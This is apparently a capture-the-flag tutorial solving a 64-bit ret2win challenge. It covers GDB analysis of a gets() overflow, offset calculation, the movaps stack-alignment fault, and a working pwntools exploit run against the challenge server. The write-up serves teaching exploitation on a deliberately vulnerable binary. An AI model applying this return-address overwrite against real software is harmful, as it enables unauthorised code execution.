IronForgeCyberHow-To: Radare2How-To: GDB

win64

Solving a 64-bit ret2win.

3KB
win64.zip
archive

This is going to be the first time dealing with a 64-bit binary. In the ret2win case, this is not much different than the 32-bit version. In future challenges, we will see that 64-bit binaries become increasingly more complex than 32-bit ones, so it's essential to understand the differences between them.

Remember that 64-bit binaries pass parameters via the registers. The return pointer and base pointer are still stored on the stack for later use, just like 32-bit.

This binary has identical source code to win32, but is compiled for 64-bit.

Checking Security

As always, we check the security of the binary:

$ checksec win64
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

We see no protections on the binary, so ret2win is probably a good solution. Here is where we also notice that the binary is 64-bit, meaning that we have to treat the binary accordingly.

GDB Disassembly

Unsurprisingly, checking the functions list yields us the same result as win32:

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401070  puts@plt
0x0000000000401080  system@plt
0x0000000000401090  gets@plt
0x00000000004010a0  fflush@plt
0x00000000004010b0  _start
0x00000000004010e0  _dl_relocate_static_pie
0x00000000004010f0  deregister_tm_clones
0x0000000000401120  register_tm_clones
0x0000000000401160  __do_global_dtors_aux
0x0000000000401190  frame_dummy
0x0000000000401196  win
0x00000000004011b5  read_in
0x00000000004011f3  main
0x000000000040121b  usefulGadgets
0x000000000040122c  _fini

We're going straight to read_in because we know the contents of win and main aren't relevant to us.

gef➤  disas read_in
Dump of assembler code for function read_in:
   0x00000000004011b5 <+0>:	endbr64 
   0x00000000004011b9 <+4>:	push   rbp
   0x00000000004011ba <+5>:	mov    rbp,rsp
   0x00000000004011bd <+8>:	sub    rsp,0x30
   0x00000000004011c1 <+12>:	lea    rax,[rip+0xe50]        # 0x402018
   0x00000000004011c8 <+19>:	mov    rdi,rax
   0x00000000004011cb <+22>:	call   0x401070 <puts@plt>
   0x00000000004011d0 <+27>:	mov    rax,QWORD PTR [rip+0x2e71]        # 0x404048 <stdout@GLIBC_2.2.5>
   0x00000000004011d7 <+34>:	mov    rdi,rax
   0x00000000004011da <+37>:	call   0x4010a0 <fflush@plt>
   0x00000000004011df <+42>:	lea    rax,[rbp-0x30]
   0x00000000004011e3 <+46>:	mov    rdi,rax
   0x00000000004011e6 <+49>:	mov    eax,0x0
   0x00000000004011eb <+54>:	call   0x401090 <gets@plt>
   0x00000000004011f0 <+59>:	nop
   0x00000000004011f1 <+60>:	leave  
   0x00000000004011f2 <+61>:	ret

We see that this is formatted very similar to the win32 binary, so it shouldn't be that scary.

The same "assembly dance" is happening in this binary. Let's go over this process:

  1. We know that main performs a call read_in to get inside this function. call does two things: (1) puts the return pointer, the instruction after call, onto the stack; and (2) jumps to the address of the called function.

  2. push rbp pushes the old base pointer onto the stack. This is done so that the base pointer can be restored later.

  3. mov rbp, rsp sets the base pointer to the current stack pointer. This is done so that the base pointer can be used as a reference to the stack.

  4. sub rsp, 0x30 allocates 0x30 bytes on the stack for local variables.

This means that after the assembly dance, our stack should look like this:

   |-- rsp
   v
[... | ... 0x30 bytes ... | base pointer | return pointer | ... ]

Reviewing the assembly, we notice that there is a call to puts@plt and gets@plt. puts just prints out the "Can you figure out how to win here?" to the screen. Let's dive deeper into gets() and how it might be different for this architecture.

Inputting in 64-bit

Since this is 64-bit, parameters are passed via the register. We know that gets() takes one argument: the address where our input is stored. We proved the last binary that we are writing to the stack.

If we check the last data that was passed to rdi before gets is called, this is where we write. We find that this line is the last update to rdi:

0x00000000004011df <+42>:	lea    rax,[rbp-0x30]
0x00000000004011e3 <+46>:	mov    rdi,rax

rdi is loaded with the address of rbp-0x30, meaning this is where we are writing.

Getting the Offset

Getting the offset is the same in 64-bit as 32-bit. Let's put a breakpoint right before the call so we can inspect the stack:

gef➤  b *(read_in+54)
gef➤  run

Find the address of the return pointer by checking the instruction after the call to read_in:

0x0000000000401200 <+13>:	call   0x4011b5 <read_in>
0x0000000000401205 <+18>:	lea    rax,[rip+0xe30]        # 0x40203c

Our return pointer is 0x401205.

Let's check what's on the stack:

gef➤  x/10gx $rsp
0x7fffffffe450:	0x0000000000000000	0x0000000000000000
0x7fffffffe460:	0x0000000000000000	0x0000000000000000
0x7fffffffe470:	0x0000000000000000	0x0000000000000000
0x7fffffffe480:	0x00007fffffffe490	0x0000000000401205
0x7fffffffe490:	0x0000000000000001	0x00007ffff7c29d90

We see that the return pointer is there:

gef➤  x/gx 0x7fffffffe488
0x7fffffffe488:	0x0000000000401205

Checking rdi shows us where we will start writing:

gef➤  p/x $rdi
$1 = 0x7fffffffe450

Let's see how many bytes that we need to write to reach here:

$ python3 -c "print(0x7fffffffe488-0x7fffffffe450)"
56

This makes sense. We were told that we are writing at rbp-0x30, which is 48 bytes from the base pointer, plus we need to add 8 bytes for the old base pointer that was pushed on the stack, totaling 56 bytes.

Let's craft our exploit:

from pwn import *

proc = process('./win64')

f_win = 0x401196

payload = b'A' * 56
payload += p64(f_win)

proc.sendline(payload)
proc.interactive()

Running this produces the following output:

$ python3 exploit.py 
[+] Starting local process './win64': pid 20651
[*] Switching to interactive mode
Can you figure out how to win here?
[*] Got EOF while reading in interactive
$ 
[*] Process './win64' stopped with exit code -11 (SIGSEGV) (pid 20651)
[*] Got EOF while sending in interactive

Hmmm. This isn't working. We know this because we reached EOF (end of file) before we got to the interactive shell. Something's not quite right with the payload.

The movaps Problem

We can modify our payload to run a gdb instance on the binary using our payload to ensure that it executes properly.

proc = gdb.debug('./win64', gdbscript=gdbcmds)

gdb.debug takes the secondary argument of gdbscript which is the list of commands you want to run automatically. This allows for rapid debugging by consistently jumping to the same spot in memory. In our case, we set gdbcmds to:

gdbcmds = '''
b *read_in+54
c
'''

This is going to set a breakpoint right before the gets() call (which we did manually) and then continue (because a breakpoint is automatically set at _start()).

If we reach the end of read_in, we notice, based on the execution flow, that it intends to go to win():

     0x4011eb <read_in+54>     call   0x401090 <gets@plt>
     0x4011f0 <read_in+59>     nop    
     0x4011f1 <read_in+60>     leave  
 →   0x4011f2 <read_in+61>     ret    
   ↳    0x401196 <win+0>          endbr64 
        0x40119a <win+4>          push   rbp
        0x40119b <win+5>          mov    rbp, rsp
        0x40119e <win+8>          lea    rax, [rip+0xe63]        # 0x402008
        0x4011a5 <win+15>         mov    rdi, rax
        0x4011a8 <win+18>         mov    eax, 0x0

Using ni, we see that the program successfully makes it to win(). Our payload successfully takes us to the right place! If we continue execution to let it print the flag, we see that it segfaults:

[#0] Id 1, Name: "win64", stopped 0x7fc438850963 in __sigemptyset (), reason: SIGSEGV

We notice that it stops on the movaps instruction inside of do_system:

 → 0x7fc438850963 <do_system+115>  movaps XMMWORD PTR [rsp], xmm1

From the call trace, we see that this is called from win() calling system(), as expected:

[#0] 0x7fc438850963 → __sigemptyset(set=<optimized out>)
[#1] 0x7fc438850963 → do_system(line=0x402008 "cat flag.txt")
[#2] 0x4011b2 → win()

This is known as the movaps fault. This happens because movaps expects the stack to be 16-byte aligned. However, we diverted execution away from the standard execution flow, so there's no guarantee that the stack is aligned. Furthermore, we are writing 56 bytes to the stack, which is not a multiple of 16. This means that the stack is not aligned and movaps will segfault.

How can we fix this? We can add 8 bytes to the payload, which will make it 64 bytes (which is a multiple of 16). The standard solution for this is to divert to another return, which will effectively add 8 bytes to the payload and not affect the rest of the execution. Let's find another ret to divert to. It doesn't matter which you pick, I randomly chose the one inside deregister_tm_clones:

gef➤  disas deregister_tm_clones
Dump of assembler code for function deregister_tm_clones:
   0x00000000004010f0 <+0>:	mov    eax,0x404048
   0x00000000004010f5 <+5>:	cmp    rax,0x404048
   0x00000000004010fb <+11>:	je     0x401110 <deregister_tm_clones+32>
   0x00000000004010fd <+13>:	mov    eax,0x0
   0x0000000000401102 <+18>:	test   rax,rax
   0x0000000000401105 <+21>:	je     0x401110 <deregister_tm_clones+32>
   0x0000000000401107 <+23>:	mov    edi,0x404048
   0x000000000040110c <+28>:	jmp    rax
   0x000000000040110e <+30>:	xchg   ax,ax
   0x0000000000401110 <+32>:	ret

The address of this return is 0x401110. Let's add this to our payload:

exploit.py
from pwn import *

proc = process('./win64')

g_ret = 0x401110
f_win = 0x401196

payload = b'A' * 56
payload += p64(g_ret) 
payload += p64(f_win)

proc.sendline(payload)
proc.interactive()

You'll notice that I label my variables based on what they are. f variables are functions, g variables are gadgets. More on what gadgets are when we get to ROP.

Running this:

$ python3 exploit.py 
[+] Starting local process './win64': pid 21192
[*] Switching to interactive mode
Can you figure out how to win here?
cat: flag.txt: No such file or directory
[*] Got EOF while reading in interactive
$ 
[*] Process './win64' stopped with exit code -11 (SIGSEGV) (pid 21192)
[*] Got EOF while sending in interactive

cat flag.txt is called! Let's run this against the remote server:

$ python3 exploit.py 
[+] Opening connection to vunrotc.cole-ellis.com on port 1200: Done
[*] Switching to interactive mode
Can you figure out how to win here?
flag{not_so_different_yet_is_it}
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 1200

And we have our flag!

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